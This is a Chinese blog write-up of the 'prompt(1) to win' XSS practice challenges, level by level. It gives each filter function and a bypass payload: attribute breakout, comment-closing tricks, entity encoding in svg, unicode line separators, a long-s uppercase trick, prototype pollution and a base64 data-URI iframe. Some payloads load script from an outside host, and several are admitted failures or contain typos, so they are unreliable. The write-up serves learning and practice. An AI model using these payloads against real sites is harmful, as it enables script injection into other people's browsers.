首页 > 技术文章 > prompt(1) to win

R3col 2020-03-24 11:39 原文

prompt(1) to win

鉴于之前实战发现自己对漏洞的理解比较浅薄,而且缺少积累,所以决定拿出一部分精力来练习,以弥补不足之处。

平台链接:http://prompt.ml/

这个平台要用prompt(1)而非alert(1)

level 0

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}   

把input直接拼接,用引号闭合即可

payload"><script>alert(1)</script>

level 1

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    // g,全局匹配, i,忽略大小写
    input = input.replace(stripTagsRE, '');
    return '<article>' + input + '</article>';
}    

过滤了<xxx>, </xxx>,就是说标签不能闭合,搜了一下,可以用注释符//闭合标签

payload<img src=2 onerror="prompt(1)" //

level 2

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');
    // ok seriously, disallows equal signs and open parenthesis
    return input;
}    

过滤了[, =, (,],emmmm,几乎是都用不了,需要用编码(HTML实体编码)绕过,而编码解析后不会被当作标签,只有<svg>标签是例外,svg标签后的内容会被当作XML先进行HTML解码,然后再解析

payload<svg><script>prompt&#40;&#49;&#41;</script>

level 3

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');
    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}  

->替换成_,emmmm,得像个办法bypass注释,想到了条件注释,但是非IE情况下,条件注释格式为

<!--[if !IE]>HTML_CODE<!--<![endif]-->但是条件注释只有IE才会执行, = =

搜了下,发现也可以用--!>来闭合注释

payload--!><script>prompt(1)</script>

level 4

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}    

正则表达式要求必须是https://prompt.ml开头的地址,emmmm,想了半天没有思绪,去看了wp

浏览器支持这样的URLhttp://user:password@xxxxx.xxx,是以user:password为凭据去请求xxxxx.xxx

这里是要用URL参数里的@来加载js文件,

scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

http//user:password/@xxxxx.xxx后边加一个斜杠是不允许的,而代码中有decodeURIComponent所以用%2f代替/

payloadhttp://prompt.ml%2f@example.com需要本地服务器或者vps,我都没成功,访问其他网页也都不行

= = 不知道是怎么回事,如果有人知道的话,请告诉我一下,谢谢。

level 5

function escape(input) {
    // apply strict filter rules of level 1
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');
    return '<input value="' + input + '" type="text">';
} 

level 1 的加强版,过滤了>, onxxx=, focus忽略大小写,想起了前边用的注释封闭,但是前边的input标签没法封闭,所以只能在input标签里完成,想到src的javascript伪协议,src属性只有type=image的时候才会起作用,所以覆盖type,然后写入src asd" type="image" src="javascript:alert(1),无法运行,自己写了个脚本试验了下,也不行,emmmmm,又去看了wp

这里的onxxxxx=可以用换行绕过,涨姿势了

payload asd" type="image" src=1 onerror

=prompt(1)

level 6

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}  

= =突然变长

代码的大概意思是,把输入的链接,比如http://httpbin.org/post#{"name":"Matt"}转换成一个post方式的form表单,表单内容是#后的json,然后会自动检测actionURL的内容,如果没有script:, data:, sbscript:,就会提交

这里我想的是,构造一个网站,返回<script>prompt(1)</script>,成功了。但是觉得和这里的情景不太相符,去看了wp = = (tcl

这里运用到的是action的特性,如果前后都有action,访问action的时候会访问后面的值。

所以用一个input来冒充action即可

payloadjavascript:prompt(1)#{"action":1}

休息了好几天了,觉得效率很低,还是得做题,做题不能停

越做越觉得自己是井底之蛙 = = ,qtmd,奥里给,我先干了

level 7

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}  

这段代码的作用是把输入的aaa#bbb#ccc根据#切片,每一个都会生成一个p标签,输入的值是title(长度<=12)

这道题想到了要用注释,但是没有找到正确的注释使用方法

这里用的是<script>标签的注释功能

payload"><script>/*#*/prompt/*#*/(1)/*#*/</script>"

level 8

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}   

把输入放到//注释里,过滤了\r, \n, <, /

编码绕过编码绕过编码绕过,这个思想很重要很重要,得记下了。

这里用到的知识点

  • U+2028是unicode的换行符(bypass注释)
  • -->在js种可当注释使用(bypass过滤)

payload"\u2028prompt(1)\u2028-->"把这一串复制到console里,然后把结果复制出来就可以了

特殊字符不会显示出来,想要看到特殊字符的话,把结果复制出来,再粘贴会console就能看到

level 9

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}    

过滤了< + 字母的所有情况,并且把字母都转换为大写,最后把大写后的输入嵌入到h1标签里

这道题又是知识盲区 = =!

这里要用到的是toUpperCase()函数的一个特性:可以把部分unicode转义,这里用的s的一个其他编码ſ

payload<ſcript ſrc="http://localhost/prompt.js"></ſcript>

level A

function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
} 

把输入进行URI编码,用alert替换掉prompt,过滤掉',然后嵌入到script标签里

!!!又是一个很重要的思想,利用过滤来重建payload

payloadpro'mpt(1),函数会会自动过滤掉'

level B

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}  

过滤了[|\s+*/\\<>&^:;=~!%-这里的\s表示匹配空白

这道题用到的知识点

  • (prompt(1)) instanceof"1" 和 (prompt(1)) in"1"可以运行
  • 例如(prompt(1))in'asd'虽然会报错,但时已经执行

payload"(prompt(1))in"

level C

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
} 

URL编码,过滤掉',用alert替换掉prompt,就是level A的两个过滤调换了顺序

这道题可以用数字来代替

parseInt(string,x)生成用x进制表示的string

payload(eval((867982141).toString(32)))(1)

level D

 function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
} 

代码大致意思是,输入的json会传入source的字典,然后加到config里,删掉以字母数字下划线/开头的source,并过滤source里的",嵌入到img标签的src里

这里用到的知识点:

  • 原型链污染(这里推两篇文章,xxxxxx,讲的都不错

  • 访问对象的属性的时候,如果该属性不存在,就会去__proto__里面找

  • js的replace神奇用法

    Pattern Inserts
    $$ Inserts a “$”.
    $& 插入匹配子串
    $` 插入匹配子串之前的内容
    $’ 插入匹配子串之后的内容
    $n 当n是小于100的正整数时,插入第n个正则表达式相匹配的内容

    payload{"source":{}."__proto__":{"source"L"$onerror=prompt(1)>"}}`

level E

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}       

输入:

  • 转换到大写

  • data:替换//字母数字下划线:

  • _替换含有\&+%空白字符的串或者vbs

  • 嵌入img标签的src里

大概想到了href/src里的data用法,但限制有点多,不知道怎么处理,去看了wp

这道题大概思路是,因为xx:会被替换为data:,所以可以用编码绕过,看了好几篇wp,都是说没法成功,官方wp也不行,= =,先把payload贴上吧

payload"><IFRAME/SRC="x:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvcHJvbXB0LmpzIj48L3NjcmlwdD4=">

可以在网页源码里看到解析出的都是乱码,所以

这里需要一个浏览器支持的,而且全大写的编码来bypass,base16和32都是全大写+数字,但是不支持

去看了MDN的文档,data:[<mediatype>][;base64],<data>,只支持base64

试了还多方法,都不行,也去问了syh大哥,也是没得办法,先过了吧

level F

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}  

输入:

  • 过滤*
  • 根据#切片
  • 返回p标签,title是输入的值,index是递增自变量

ban掉了多行注释/**/但是还有<!--,但这个是html注释,在html解析的时候才会生效,所以需要添加<svg>标签来加载一次解析

payload"><svg><!--#--><script><!--#-->prompt<!--#-->(1)<!--#--></script>

总结

我tcl,还得多淦

看了好多wp

https://blog.csdn.net/weixin_30618985/article/details/99755279

https://althims.com/2019/08/13/prompt-to-win-wp/

https://xz.aliyun.com/t/4507#toc-10

推荐阅读